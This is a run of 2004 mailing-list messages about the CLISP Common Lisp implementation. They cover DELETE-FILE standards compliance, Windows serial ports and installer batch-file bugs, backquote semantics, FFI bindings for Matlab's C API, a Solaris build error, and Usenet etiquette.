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> * Bruno Haible <oehab@pyvfc.bet> [2004-02-22 14:34:03 +0100]:
>
> Sam Steingold wrote:
>> In ANSI CL, DELETE-FILE is specified to return T on success.
>> CLISP returns the truename of the deleted file.
>
> Looking at CLHS (I don't have a copy of ANSI CL):
> Where do you read that returning the truename is not allowed?
>
> - The overview of the function is
>
>      "delete-file filespec => t"
>
>   where "t" refers to the page leaving the choice between the symbol T
>   and the class T. The latter allows any return value.

Actually, everywhere else this overview entry has the _type_ of the
value, not the value (or its description).
So, you appears to be correct!


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Bruno Haible <oehab@pyvfc.bet> [2004-02-22 14:34:03 +0100]:
    >> 
    >> Sam Steingold wrote:
    >>> In ANSI CL, DELETE-FILE is specified to return T on success.
    >>> CLISP returns the truename of the deleted file.
    >>  Looking at CLHS (I don't have a copy of ANSI CL): Where do you
    >> read that returning the truename is not allowed?
    >> 
    >> - The overview of the function is
    >> 
    >> "delete-file filespec => t"
    >> 
    >> where "t" refers to the page leaving the choice between the
    >> symbol T and the class T. The latter allows any return value.

    Sam> Actually, everywhere else this overview entry has the _type_
    Sam> of the value, not the value (or its description).  So, you
    Sam> appears to be correct!

If the interpretation t = symbol were true, delete-file cannot return NIL.

Carlo


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Subject: [clisp-list] Serial port access with CLisp and Windows
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Hello,

Has anyone successfully been able to use the serial (COM) ports of a Windows
machine under CLisp (or some other free Lisp)? I'd need both input and
output modes. Is there sample code available?

Here's a transcript of what I was trying before. I open and close the
stream, just to see if that works. Then I open it again, print a character
to it, then try to read from it. But this hangs, and I have to ctrl-c out of
it. I'm not certain if the character I sent out is even being sent. I'm
pretty sure that the port is really opened, since a separate terminal
program (hyperterminal) can't access the port until the "close" instruction
is used in CLisp. Note that everything (input and output) works fine if I
just use Hyperterminal, so I'm fairly sure that the hardware is working.

[9]> (setf sers (open "COM1" :direction :io))
#<IO UNBUFFERED FILE-STREAM CHARACTER #P"COM1" @1>
[10]> (close sers)
T
[11]> (setf sers (open "COM1" :direction :io))
#<IO UNBUFFERED FILE-STREAM CHARACTER #P"COM1" @1>
[12]> (print 'e sers)
E
[13]> (read sers)

*** - READ: Ctrl-C: User break
Break 1 [14]>


I posted this question to comp.lang.lisp, and I have received several
suggestions. Unfortunately, none of these worked: they always result
hanging. I have tried:

(let ((v (make-array 10 :fill-pointer 0 :adjustable t :element-type
'character))) (loop :while (listen serial) :do (vector-push-extend
(read-char serial) v)) v)

(with-output-to-string (s) (loop :while (listen serial) :do (write-char
(read-char serial) s)))

(with-output-to-string (s) (loop :for c = (read-char-no-hang serial) :while
c :do (write-char c s)))

Thanks to Sam Steingold, who has sent several replies on this topic, and
suggested that I post here.

Thanks,
Joe




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> * Joseph Driscoll <qevfpbyy85@pbzpnfg.arg> [2004-02-22 13:07:04 -0600]:
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> #<IO UNBUFFERED FILE-STREAM CHARACTER #P"COM1" @1>

somehow I missed this.
CLISP thinks that this is an ordinary text file while this is a special
device which should be accessed with specialized functions.
I don't know how to make this work.
Do you have sample C code?

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I've been using hyperterminal (rather than c code) to send/receive info from
the device, so I don't have any working code.

Someone developed a way to do this in Lisp, and makes available a fasl file.
The problem is that it seems to only work with Allegro CL (maybe it uses
built-in Allegro support for serial communications, etc.).

The problem with just using Allegro is that the free version prohibits its
use for university research (that's my goal), so I turned to CLisp since
it's much less expensive than Allegro.

I do have access to a linux box (Red Hat 9.0, I believe). Would a linux
CLisp environment be better for serial communications?

Thanks,
Joe


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> > * Joseph Driscoll <qevfpbyy85@pbzpnfg.arg> [2004-02-22 13:07:04 -0600]:
> >
> > #<IO UNBUFFERED FILE-STREAM CHARACTER #P"COM1" @1>
>
> somehow I missed this.
> CLISP thinks that this is an ordinary text file while this is a special
> device which should be accessed with specialized functions.
> I don't know how to make this work.
> Do you have sample C code?
>
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> * Joseph Driscoll <qevfpbyy85@pbzpnfg.arg> [2004-02-22 14:36:27 -0600]:
>
> I do have access to a linux box (Red Hat 9.0, I believe). Would a linux
> CLisp environment be better for serial communications?

dunno.  why don't you try it?

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I think this falls under 'bug report', although it's pretty minor.  It
would be nice if the install.bat file were functional as you download it
from Sourceforge.  Once I figured out that I actually had to *run* the
batch file (as opposed to just executing lisp.exe and having it work
properly), it was unable to execute until I fixed the following problems:

1. The pipe symbols (|) used to form the pretty banner at the head of the
batch file actually act as pipes and cause the batch file to halt.

2. Half the slashes used as subdirectory delimiters are back slashes
(correct) and the other half are forward slashes (incorrect).

The same sorts of problems crop up in the clisp.bat file.  Both look and
function like hasty ports from a unix system.  Nothing that can't be
quickly fixed, but mildly annoying and perhaps a preview of what's to
come?

Hope not.

Tom K.


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Marco Antoniotti wrote:

>>> Return T and the truename as a second value.
>>
>> this is not compliant either.
>> DELETE-FILE returns 1 value.
> 
> A conformant program would not break.

The program

  (length (multiple-value-list (delete-file "foo")))

would break.

See also CLHS section 1.6 "Language Extensions":

   An implementation must return exactly the number of return
   values specified by this standard unless the standard
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> * T. Kriewall <xevrjnyy@h.jnfuvatgba.rqh> [2004-02-22 21:29:49 -0800]:
>
> 1. The pipe symbols (|) used to form the pretty banner at the head of
> the batch file actually act as pipes and cause the batch file to halt.
>
> 2. Half the slashes used as subdirectory delimiters are back slashes
> (correct) and the other half are forward slashes (incorrect).

fixed in the cvs

> The same sorts of problems crop up in the clisp.bat file.

clisp.bat works though, right?

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clisp.bat worked once I fixed the slashes and corrected the directory
associated with lispinit.mem.  There might have been other changes but I
don't recall them.

> > 1. The pipe symbols (|) used to form the pretty banner at the head of
> > the batch file actually act as pipes and cause the batch file to halt.
> >
> > 2. Half the slashes used as subdirectory delimiters are back slashes
> > (correct) and the other half are forward slashes (incorrect).
>
> fixed in the cvs

Sorry, what is the cvs?

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> * T. Kriewall <xevrjnyy@h.jnfuvatgba.rqh> [2004-02-23 06:34:40 -0800]:
>
> clisp.bat worked once I fixed the slashes and corrected the directory
> associated with lispinit.mem.

The command part has #\\.
The arguments have #\/ and that should be OK.
Are you sure you _had_ to make the change?

> Sorry, what is the cvs?

<http://www.cvshome.org>

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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-02-17 11:00:56 -0800]:
>
> On Tue, 17 Feb 2004, Sam Steingold wrote:
>
>> 2. How do I interface to
>>    <http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/matgetdir.shtml>?
>> char **matGetDir(MATFile *mfp, int *num);
>>    What is the return value?
>>    Also, the documentation appears to indicate that what is actually
>>    returned is (char*[mxMAXNAM]), not (char**): why would they mention
>
> This is not possible; a C function cannot return an array.  :)
>
> I suspect that your actual suspiction is that it might be 
> ``char (*)[mxMAXNAM]''. In other words, the pointer to an array of
> mxMAXNAM characters (or a pointer to the first element of an
> array of arrays, whose elements are arrays of mxMAXNAM characters).
>
>>    mxCalloc() otherwise?
>
> They say:
>
>     matGetDir returns a pointer to an internal array containing
>     pointers to the NULL-terminated names
>
> so it's clear that it's  ``char **'', just like the return type says.
>
> They must do some funny allocation to allow you to blow this away with
> just one call to their mxFree() function. The array of pointers and the
> string data are all allocated in one memory block. Or perhaps the array
> of pointers is dynamic, but the pointers are managed separately; maybe
> the MATFile object owns these strings, and the dynamic array is just
> used as a temporary object to retrieve the pointers in one call.
>
> They probably use their mxCalloc() function like this:
>
>    char **arrayOfPointers = mxCalloc(numElements,
>                                      sizeof arrayOfPointers[0]);
>
> so the use of a calloc-like allocator does not support your 
> suspicion that it's not an array of pointers.

so, what's the bottom line?
how do I call this this via FFI?
it does not appear that I can specify the function to free the data...

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Date: Mon Feb 23 07:31:03 2004
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Not sure of anything.  All I know is the batch file wouldn't execute until
I made the changes, but exactly what I did or what was absolutely
necessary I don't recall.  If it works fine on all other computers, then
it was prolly just a fluke.

On Mon, 23 Feb 2004, Sam Steingold wrote:

> > * T. Kriewall <xevrjnyy@h.jnfuvatgba.rqh> [2004-02-23 06:34:40 -0800]:
> >
> > clisp.bat worked once I fixed the slashes and corrected the directory
> > associated with lispinit.mem.
>
> The command part has #\\.
> The arguments have #\/ and that should be OK.
> Are you sure you _had_ to make the change?
>
> > Sorry, what is the cvs?
>
> <http://www.cvshome.org>
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hey!


Thanks for CLISP!!!!!

I find I can install from the \base directory but not from the \full under windows NT(get an error about a hard link but im fine if i use \base dir )..what are the differences between these two directories?

Thanks
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> * Jerry Kahn <wreel.xnua@qo.pbz> [2004-02-23 12:43:12 -0500]:
>
> Thanks for CLISP!!!!!
welcome!

> I find I can install from the \base directory but not from the \full
> under windows NT(get an error about a hard link but im fine if i use
> \base dir )..what are the differences between these two directories?

base contains just the core.
full has some modules added.
see <http://clisp.cons.org/impnotes/modules.html>.

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Thanks Sam!!
I'll check it out!
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> * Jerry Kahn <wreel.xnua@qo.pbz> [2004-02-23 12:43:12 -0500]:
>
> Thanks for CLISP!!!!!
welcome!

> I find I can install from the \base directory but not from the \full
> under windows NT(get an error about a hard link but im fine if i use
> \base dir )..what are the differences between these two directories?

base contains just the core.
full has some modules added.
see <http://clisp.cons.org/impnotes/modules.html>.

--
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hi, does anyone reading this list have any success with the
lisp related news groups?  I quite often post questions
about lisp and about python but never have anyone answering
my questions or even comment "wow that was a stupid question" :-)

does anyone have any advice about these groups?  how to get
good responses?  when not to bother etc....

many thanks..

-jim



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On Tue, 24 Feb 2004 09:21:47 +0100, Jim Newton <jimka@rdrop.com> wrote:

> hi, does anyone reading this list have any success with the lisp
> related news groups?

As far as Common Lisp is concerned there's actually only one relevant
newsgroup - that's comp.lang.lisp.

> I quite often post questions about lisp and about python but never
> have anyone answering my questions or even comment "wow that was a
> stupid question" :-)

According to Google you've posted only twice in the last two years
(unless you're using another name). The first one wasn't really a
question but you got two replies. The second one... Well, check it out
yourself:

  <http://www.google.com/groups?client=googlet&q=group%3Acomp.lang.lisp%20author%3Anewton>

> does anyone have any advice about these groups?  how to get good
> responses?  when not to bother etc....

  <http://www.google.com/groups?selm=n0818o8t.fsf%40ccs.neu.edu&output=gplain>

Edi.


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On Tue, 24 Feb 2004, Jim Newton wrote:

> hi, does anyone reading this list have any success with the
> lisp related news groups?  I quite often post questions
> about lisp and about python but never have anyone answering
> my questions or even comment "wow that was a stupid question" :-)
>
> does anyone have any advice about these groups?  how to get
> good responses?  when not to bother etc....

This may be obvious, and if so I apologize for the waste of bandwidth..
but do you check back to the newsgroup? It is etiquette to respond to
messages in the group (not to CC to email) and to seek responses
there.

For instance, I asked a question recently about a Bison/Yacc solution for
Common Lisp and was helped nicely with some GPL'd code.





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On Tue, 24 Feb 2004, Jim Newton wrote:

> Date: Tue, 24 Feb 2004 09:21:47 +0100
> From: Jim Newton <jimka@rdrop.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] lisp news groups
> 
> hi, does anyone reading this list have any success with the
> lisp related news groups?

You mean the Usenet newsgroup comp.lang.lisp?

The most recent posting from you there, according to Google's archives,
was on November 22, 2003, in a thread "Why don't people like lisp?" that
is also crossposted to comp.lang.python.

> I quite often post questions
> about lisp and about python but never have anyone answering
> my questions or even comment "wow that was a stupid question" :-)

If you have posted since then, it must be the case that your articles
are just not making it to the entire Usenet.



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Moin Kaz Kylheku,

> If you have posted since then, it must be the case that your articles
> are just not making it to the entire Usenet.

  I had a (in)famous UseNet site in the late 80th and early 90th.

  Bakunin.North.De caused germany to go down for 3 days (because
  of a cnews/sendsys bug^h^h^h^hfeature ;) and Linux being more
  important than Sex (because of a loop in fido and maus gateways ;)

  I moved out of UseNet news, when it became unreadable.
  
  Mailing lists more close to the topic (e.g. this one) and IRC e.g.
  /server irc.freenode.de /join #lisp replaced news in better way.

  The symtom you describe, is that only cross postings reach the net.
  This may be a problem on your side, or on your feed, and nearly
  impossible to debug without the help of your feed and further
  information.
  
  So the best question is : 
  - Where to find a c.l.lisp feed with a working uplink.

  Think about a provider, that is cheating in a way, that he only has a
  real feed for the groups, he is interested in, e.g. comp.lang.python -
  and receives the rest by satalite downlink. He could offer any group
  for reading, but only postings in his favourites would reach the net.

Bye Michael
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Mr. Steingold,

I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop using Windows XP.  However, the program will not install by clicking on the install.bat file nor by using Run on the Start menu.

I read your readme notes on Installation:  but cannot understand what you are asking.  Change what strings in src/config.lisp?  Change them to what?  There is only one lisp.exe file and it has a long name lisp.exe-0F44C2DE.pf.  It will not start when clicked nor using RUN on the Start menu.  Also the lisp.exe file resides in c:\windows\prefetch.

Is there something I am missing?  Is it an XP problem?  Is there a fix?

William C. Brown, Ph.D.
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> * William Brown <dpbec@rneguyvax.arg> [2004-02-24 11:07:39 -0800]:
>
> I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop
> using Windows XP.  However, the program will not install by clicking
> on the install.bat file nor by using Run on the Start menu.

please try
<http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/src/install.bat>
instead.

> Change what strings in src/config.lisp?

*editor*, *load-paths*, *clhs-root-default* and others as you see fit.

> Change them to what?

to whatever better reflects your environment.

> There is only one lisp.exe file and it has a long name
> lisp.exe-0F44C2DE.pf.  It will not start when clicked nor using RUN on
> the Start menu.  Also the lisp.exe file resides in
> c:\windows\prefetch.

you should have downloaded a zip file and un-zipped it into a
directory, something like "c:\gnu\clisp-2.32\".
if winzip or windows, in a miguided attempt to protect you from viruses,
do not let you do that, you will need to download info-zip. (google for it)


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Date: Tue Feb 24 15:28:07 2004
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On Tue, 24 Feb 2004, Jim Newton wrote:

> Date: Tue, 24 Feb 2004 09:21:47 +0100
> From: Jim Newton <jimka@rdrop.com>
> To: clisp-list@lists.sourceforge.net
> Subject: [clisp-list] lisp news groups
> 
> hi, does anyone reading this list have any success with the
> lisp related news groups?

You mean the Usenet newsgroup comp.lang.lisp? Sure, read and post there
all the time.

The most recent posting from you, according to Google's archives, was
on November 22, 2003, in a thread "Why don't people like lisp?" that is
also crossposted to comp.lang.python.

> I quite often post questions
> about lisp and about python but never have anyone answering
> my questions or even comment "wow that was a stupid question" :-)

If you have posted since then, it must be the case that your articles
are simply not making it to the entire Usenet.



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It has come to my attention that some Lisps allow this:

 `(x1 x2 ... xn . #(,y1 ,@y2 ...))

In other words, the backquote can be an improper list, whose trailing
atom contains an object with unquotes.

My backquote implementation rejects this because it's closely based on
the CLHS-suggested transformation of

  `(x1 x2 ... xn . atom) 

into

  (append [x1] [x2] ... [xn] (quote atom))

where the [] notation indicates a transformation to be done on the
items, not relevant to this issue. So it appears that the usage 
requires a diagnostic or is undefined behavior. What the implementation
does now is it leaves the pieces of unquote syntax in the atom, without
any diagnostic.

Nevertheless, if a trivial change is made in the code, so that the
translation is:

  (append [x1] [x2] ... [xn] (backquote atom))

then the expected behavior is produced which matches what some other
Lisps produce: the unquotes are reduced against the backquote and
everything is cool.

(Of course, the usage:

 `(x1 x2 ... xn . #(,y1 ,@y2 ...))

can be rewritten like this to explicitly propagate a backquote down to
the atom:

 `(x1 x2 ... xn . ,`#(,y1 ,@y2 ...))

which obtains the desired behavior without depending on undefined
syntax).



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> * Kaz Kylheku <xnm@nfuv.sbbgcevagf.arg> [2004-02-25 12:52:39 -0800]:
>
> Nevertheless, if a trivial change is made in the code, so that the
> translation is:
>
>   (append [x1] [x2] ... [xn] (backquote atom))
>
> then the expected behavior is produced which matches what some other
> Lisps produce: the unquotes are reduced against the backquote and
> everything is cool.

sounds good - please send a patch and a ChangeLog entry.

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hi, does anyone know how to do the equivalent of apply in python?
i.e., (apply my_fun some_list)


many thanks.
-jim


lets see if this quesiton makes it to comp.lang.lisp



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Hi,

Sam Steingold needs to interface to the obscure matGetDir funtion of MathWorks/Matlab?
<http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/engoutputbuffer.shtml>
I went to that page and I understand next to nothing. Great documentation!

1. "int *num" seems to be an :out variable. But is it possibly :in-out?

2. Sam will have to invoke mxFree() on the result (the callee calls mxCalloc() internally). Therefore, a return type like (c-array c-string N) cannot be used, since the original pointer must be preserved.

This function is a typical candidate where I believe a higher-level Lisp look&feel API would be valuable (aka "thick" interface in Ada), instead of C interface weirdness brought to Lisp. The nice Lisp-visible function internally needs several calls to low-level code to accomplish desired functionality (e.g. get-dir + mxFree).

CLISP's FFI allows relatively complex protocols to be covered (e.g. :malloc-free convention), but it cannot yet declare everything in one swoop. Existing libraries are too diverse for that.

I once thought about declarable resources. This get-dir API function would fall into that schema: one could declare the finalizing function, mxFree() in the present case, or e.g. CloseSocket/Window etc. Very handy for the Amiga. Even more when GC-collectable.

Here's my guess at what the documentation may mean:
The code remembers def-var-call for variable sized arguments, with the addition of freeing resources.

(def-var-call-out %get-dir-internal
  (:library "foo.library")
  (:language :stdc)
  (:name "matGetDir")
  (:arguments (MAT-file c-pointer)
              (num-entries int :out))
  (:guard (foreign-pointer-not-null return)) ; not-yet in CLISP, ignore
  ;;(:return-type (c-pointer (c-array c-string num-entries))) ; not in CLISP
  (:return-type c-pointer))

(def-call-out mx-free
  (:library "mathworks.library")
  (:language :stdc)
  (:name "mxFree")
  (:arguments (memory c-pointer))
  (:return-type nil)) ; guessed

(defun mw:get-dir (MAT-file)
  ;;(declare (type (or foreign-pointer foreign-variable) MAT-file))
  (multiple-value-bind (membuf num-entries)
       (get-dir-internal MAT-file)
    (when (and/or? (foreign-pointer-not-null membuf); superfluous?
               (> 0 num-entries))       ;TODO? need mxfree when zero num-entries?
      ;;(setq membuf (set-pointer-base membuf :new))
      ;;(ffi-finalize membuf #'mx-free)
      (unwind-protect
          ;;(coerce 'list #) ; coerce array to Lisp if you wish
          (with-c-var (names `(c-ptr (c-array c-string ,num-entries)))
            ;; or use (c-ptr (c-array-max char ,(1+ mxMAXNAM))) instead of c-string
            (setf (cast names 'c-pointer) membuf)
            names)
        (mxFree membuf)))))
;;TODO? error out if num-entries <0 (or NULL pointer)

Disclaimer: Completely untested, abundant typos, etc.

(defun ffi-finalize (x terminator &key (mark-invalid t))
  ;; This relies on correct management of pointer-valid information
  (when (validp x)
    (unwind-protect
        (funcall terminator x)
      (when mark-invalid (setf (validp x) nil)))))

Kaz wrote:
> They must do some funny allocation to allow you to blow this away with
> just one call to their mxFree() function.
Typical C: Once you know the size of all strings, allocate enough room for them and the array and fill that memory, building up the pointer structure for the array. A single free() is felt to be very convenient among C programmers.

>maybe the MATFile object owns these strings,
Indeed, there's also a completely distinct interpretation. The array returned could be just that: an array. The string's characters could reside in the MAT-file itself, and share lifetime with that object. We just don't know.
C (and C++) documentation is traditionally silent about lifetime. It gets on my nerves.

Hope this help,
	Jorg Hohle


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Hi,

Sam had another question about interfacing to C code.
><http://www.mathworks.com/access/helpdesk/help/techdoc/apiref/engoutputbuffer.shtml>?
>   I will need to allocate and deallocate the buffer, right?
You'll need to keep your buffer constantly available to the C world, therefore you indeed need a constant address buffer. C Stack allocation using with-foreign is still possible, but don't forget unwind-protect to disable buffering upon exit of the scope!

>(setq z (allocate-shallow '(c-array char 1000)))
ok
>(engOutputBuffer ep (c-var-address z) 1000)
c-var-address is wrong, it's for places.
Just say z, and the FFI will extract the address inside the FOREIGN-VARIABLE object z.
Or use foreign-variable-address (IIRC).

>(engOutputBuffer ep NIL 0)
I cannot remember whether NIL argument is accepted with the c-pointer type. I believe it's not.
If not, you'll need two function declarations, or e.g. (unsigned-foreign-address 0) (iirk).

>(foreign-free z)
ok.

Regards,
	Jorg Hohle.


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> * Jim Newton <wvzxn@eqebc.pbz> [2004-02-25 23:22:30 +0100]:
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> hi, does anyone know how to do the equivalent of apply in python?
> i.e., (apply my_fun some_list)

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-02-26 15:25:22 +0100]:
>
>>(setq z (allocate-shallow '(c-array char 1000)))
> ok

this is printed as #<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x1012CEE8>
how do I extract the string?

>>(engOutputBuffer ep NIL 0)
> I cannot remember whether NIL argument is accepted with the c-pointer
> type. I believe it's not.

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	* foreign.d (convert_from_foreign): treat NULL as NIL
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nevertheless, (engOutputBuffer ep NIL 0) returns 1 (error code!)

> If not, you'll need two function declarations, or
> e.g. (unsigned-foreign-address 0) (iirk).

(engOutputBuffer ep (unsigned-foreign-address 0) 0)
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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-02-26 15:13:49 +0100]:
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> This function is a typical candidate where I believe a higher-level
> Lisp look&feel API would be valuable (aka "thick" interface in Ada),
> instead of C interface weirdness brought to Lisp. The nice
> Lisp-visible function internally needs several calls to low-level code
> to accomplish desired functionality (e.g. get-dir + mxFree).

yes, but they do not provide that.
we need to write a C (not FFI) module to accomplish this.

> CLISP's FFI allows relatively complex protocols to be covered
>(e.g. :malloc-free convention), but it cannot yet declare everything in
>one swoop. Existing libraries are too diverse for that.

indeed. this makes it an imperative to offer a very low-level FFI layer
which would be suitable to port UFFI to CLISP.
More and more software relies on UFFI.
We must support it.

> I once thought about declarable resources. This get-dir API function
> would fall into that schema: one could declare the finalizing
> function, mxFree() in the present case, or e.g. CloseSocket/Window
> etc. Very handy for the Amiga. Even more when GC-collectable.

yes, a def-c-type should take a :FINALIZER option.

> Here's my guess at what the documentation may mean:

indeed, this works.
thanks!


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I wonder whether some header file is #define'ing open.  Any ideas on
how to hack around this one?

I tried putting

#undef open
#undef truncate
#undef ftruncate

in spvwtabs.d, which seemed to get the file to compile, but then I got
a link error.

uname -a returns:

SunOS hqsas246 5.8 Generic_108528-19 sun4u sparc SUNW,Ultra-80

-russ



hqsas246 /u/russe/compile/clisp-2.32/with-gcc-solaris 11$ gmake
test -d bindings || mkdir -p bindings
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c
In file included from spvwtabs.d:7:
lispbibl.d:790: warning: call-clobbered register used for global register variable
In file included from spvwtabs.d:7:
lispbibl.d:7384: warning: volatile register variables don't work as you might wish
lispbibl.d:7506: warning: register used for two global register variables
In file included from spvwtabs.d:7:
lispbibl.d:9588: warning: register used for two global register variables
lispbibl.d:9606: warning: register used for two global register variables
lispbibl.d:9772: warning: register used for two global register variables
In file included from spvwtabs.d:25:
constsym.d:623: structure has no member named `S_open64'
constsym.d:623: initializer element is not constant
constsym.d:623: (near initialization for `symbol_tab_data.S_open.GCself')
constsym.d:1011: structure has no member named `S_truncate64'
constsym.d:1011: initializer element is not constant
constsym.d:1011: (near initialization for `symbol_tab_data.S_truncate.GCself')
constsym.d:1017: structure has no member named `S_ftruncate64'
constsym.d:1017: initializer element is not constant
constsym.d:1017: (near initialization for `symbol_tab_data.S_ftruncate.GCself')
gmake: *** [spvwtabs.o] Error 1


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Hi,

Sam wondered:
>>>(setq z (allocate-shallow '(c-array char 1000)))
>> ok
>
>this is printed as #<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x1012CEE8>
>how do I extract the string?
Using FFI:foreign-value

If it's really a string, you probably want to use (c-array-max char 1000), or you'll get 1000 characters.

>nevertheless, (engOutputBuffer ep NIL 0) returns 1 (error code!)
No idea why.

>we need to write a C (not FFI) module to accomplish this.
I don't understand why. No user of the other Lisps would write C code. Instead, they use thin or thick wrappers, dealing with foreign pointers and all in Lisp.

>indeed. this makes it an imperative to offer a very low-level FFI layer
>which would be suitable to port UFFI to CLISP.
I already said that I believe that most of this is already available in CLISP.
One can use c-pointer and ignore :out etc.

Yet I don't know how CLISP goes along the UFFI design goal which says that performance of code using UFFI should be equivalent to the native stuff (ideally, all of UFFI is macro wrappers and goes away). 
This is not the case with CLISP, where a complex DEF-CALL-OUT, where applicable, is more efficient than a series of WITH-FOREIGN-OBJECT etc. and C-POINTER manipulations that UFFI would translate to. CAST (run-time) is especially expensive.

It would be much better if UFFI would adopt high-level declarations like CLISP does. Kevin Rosenberg said "UFFI Version 2" when I mentioned this in the uffi-users list.

>indeed, this works.
Great!

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-02-26 18:42:08 +0100]:
>
> Sam wondered:
>>>>(setq z (allocate-shallow '(c-array char 1000)))
>>> ok
>>
>>this is printed as #<FOREIGN-VARIABLE FOREIGN-ALLOCATE #x1012CEE8>
>>how do I extract the string?
> Using FFI:foreign-value

I get #(97 110 115 32 61 10 32 32 49 46 50 50 52 54 101 45 48 49 54 10)
convert-string-from-bytes gets me the string.
yuk.

> If it's really a string, you probably want to use (c-array-max char
> 1000), or you'll get 1000 characters.
thanks.

>>we need to write a C (not FFI) module to accomplish this.
> I don't understand why. No user of the other Lisps would write C
> code. Instead, they use thin or thick wrappers, dealing with foreign
> pointers and all in Lisp.

to avoid FFI overhead you mention below.

>>indeed. this makes it an imperative to offer a very low-level FFI layer
>>which would be suitable to port UFFI to CLISP.
> I already said that I believe that most of this is already available
> in CLISP.  One can use c-pointer and ignore :out etc.
>
> Yet I don't know how CLISP goes along the UFFI design goal which says
> that performance of code using UFFI should be equivalent to the native
> stuff (ideally, all of UFFI is macro wrappers and goes away).

Do you think AFFI is more appropriate as the UFFI substrate?

> This is not the case with CLISP, where a complex DEF-CALL-OUT, where
> applicable, is more efficient than a series of WITH-FOREIGN-OBJECT
> etc. and C-POINTER manipulations that UFFI would translate to. CAST
> (run-time) is especially expensive.

This whole issue is actually very similar to the raw sockets, as being
discussed now on clisp-devel: high-level convenience vs. low-level
flexibility.

Some APIs, e.g., that of Netica, are very well thought through, and
easy to interface to using CLISP high-level macros.
Just like with TCP sockets, the high-level CLISP interface is perfect.

Some APIs, e.g., Matlab's, require low-level tweaking.
The fact of life is: some things are easier to express in assembly than
in C, some things are easier in C than in Lisp, some things are easier
with UFFI low-level macros than with CLISP FFI high-level declarations.
However few such things are, they do exist.

CLISP should offer low-level UFFI-style functionality.

> It would be much better if UFFI would adopt high-level declarations
> like CLISP does. Kevin Rosenberg said "UFFI Version 2" when I
> mentioned this in the uffi-users list.

does this mean that CLISP will support UFFI-2 automatically?


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yes thanks for the reply.  i am a lisp programmer and trying to
learn python.  i know about the apply funciton in lisp, but
i am looking for something similar in python.


-jim


Sam Steingold wrote:
>>* Jim Newton <wvzxn@eqebc.pbz> [2004-02-25 23:22:30 +0100]:
>>
>>hi, does anyone know how to do the equivalent of apply in python?
>>i.e., (apply my_fun some_list)
> 
> 
> <http://www.lisp.org/HyperSpec/Body/fun_apply.html>
> 




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Jim Newton writes:
> yes thanks for the reply.  i am a lisp programmer and trying to
> learn python.  i know about the apply funciton in lisp, but
> i am looking for something similar in python.

Perhaps asking on a python related newgroup or mail-list would be more
pertinent. Here we (only) know about common-lisp and clisp...

Try a python reference manual or news:comp.lang.python

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 > hi, does anyone know how to do the equivalent of apply in python?
 > i.e., (apply my_fun some_list)

I'm not much of a Python programmer, but a quick Google search on the
three terms "apply python lisp" brings up as its first hit Peter
Norvig's "Python for Lisp Programmers"

   http://www.norvig.com/python-lisp.html

I found it interesting reading.  It's probably good for Lisp
programmers to know what's out there.

Also check out:

   http://www.prescod.net/python/IsPythonLisp.html

And a quote from Paul Graham's Lisp FAQ:

 Q: "I like Lisp but my company won't let me use it. What should I
    do?"

 A: "Try to get them to let you use Python. Often when your employer
     won't let you use Lisp it's because (whatever the official
     reason) the guy in charge of your department is afraid of the way
     Lisp source code looks. Python looks like an ordinary dumb
     language, but semantically it has a lot in common with Lisp, and has
     been getting closer to Lisp over time."

I realize that Python questions are, per se, off-topic, but I don't
think the relationship of a language (like Python) to Lisp is.

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   >> [jimka@rdrop.com]
   >> hi, does anyone know how to do the equivalent of apply in python?
   >> i.e., (apply my_fun some_list)

 > [John Hinsdale]
 > I'm not much of a Python programmer, but a quick Google search on the
 > three terms "apply python lisp" brings up as its first hit Peter
 > Norvig's "Python for Lisp Programmers"

Oops, I realize I never answered your question: it appears from the
above that Python has an "apply" that is exactly analogous to Lisp's.

Suggest trying Google a bit more; a search "apply python lisp"
answered the questions in about 20 seconds, so quick I got
sidetracked.

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Does CLISP have an ASDF package?

More generally, how to know which packages CLISP has?

How to load them?


I'm trying to run the stump window manager under CLISP.

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Joe Corneli writes:
> Does CLISP have an ASDF package?

You can run ASDF from cclan in clisp. Last time I tried I did not find
any problem...

 
> More generally, how to know which packages CLISP has?

(list-all-packages)

It's a standard common-lisp function!

 
> How to load them?
> 
> 
> I'm trying to run the stump window manager under CLISP.
> 
> (defpackage :stumpwm-system
>   (:use :cl :asdf))



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Hi,

Sam wondered:
>does this mean that CLISP will support UFFI-2 automatically?
Nope. 1. Somebody has to do a porting job.
2. Kevin Kosenberg and possibly others has to be convinced that =
something very close to CLISP is the perfect candidate for UFFIv2. For =
now, UFFIv2 is possibly not more than a word (trademark :-).


>>>>>(setq z (allocate-shallow '(c-array char 1000)))
>I get #(97 110 115 32 61 10 32 32 49 46 50 50 52 54 101 45 48 49 54 =
10)
>yuk.
1. Oops, there's that difference between ffi:character and ffi:char...
2. you should have gotten 1000 signed bytes out of c-array, not the =
above 20.=20

>> I don't understand why. No user of the other Lisps would write C
>> code.
>to avoid FFI overhead you mention below.
From the Amiga POV, writing C code to interface to existing dynamic =
libraries is unacceptable. Similarly, I don't want to have to add C =
stubs to interface to existing shared libraries on UNIX or MS-Windows =
-- unless the addtional performance is beneficial. The idea is: the =
library, the Lisp system is there, just combine the two and run (no =
intermediate Makefiles, C compilation, link kits, separate memory =
images). I still know how to use CLISP extensions with just a unique =
image file.

>Do you think AFFI is more appropriate as the UFFI substrate?
I think I already said no in clisp-devel. I expressed the idea that =
AFFI *only* provides a low-level layer, on which lots of things (except =
callbacks) can be built (like any good low-level layer provides for =
seemless topping).
